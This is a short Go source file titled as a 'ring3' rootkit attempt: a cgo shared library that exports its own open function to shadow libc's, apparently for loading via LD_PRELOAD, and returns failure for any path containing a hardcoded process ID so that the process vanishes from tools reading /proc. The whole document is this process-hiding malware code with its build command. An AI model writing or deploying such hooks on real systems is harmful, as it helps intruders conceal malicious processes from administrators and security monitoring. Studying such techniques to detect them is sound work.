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"Hooking" Open call (rootkit ring3 wanna be)
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| /* | |
| go build -o opengo.so -buildmode=c-shared open.go | |
| */ | |
| package main | |
| // #cgo LDFLAGS: -fpic -shared | |
| // #include <sys/types.h> | |
| import "C" | |
| import ( | |
| "strings" | |
| "syscall" | |
| ) | |
| var ( | |
| // PID TO HIDE | |
| PID = "1393" | |
| ) | |
| //export open | |
| func open(pathname *C.char, flags C.int, mode C.mode_t) int { | |
| if strings.Contains(C.GoString(pathname), PID) { | |
| return -1 | |
| } | |
| fd, err := syscall.Open(C.GoString(pathname), int(flags), uint32(mode)) | |
| if err != nil { | |
| return -1 | |
| } | |
| return fd | |
| } | |
| func main() {} |
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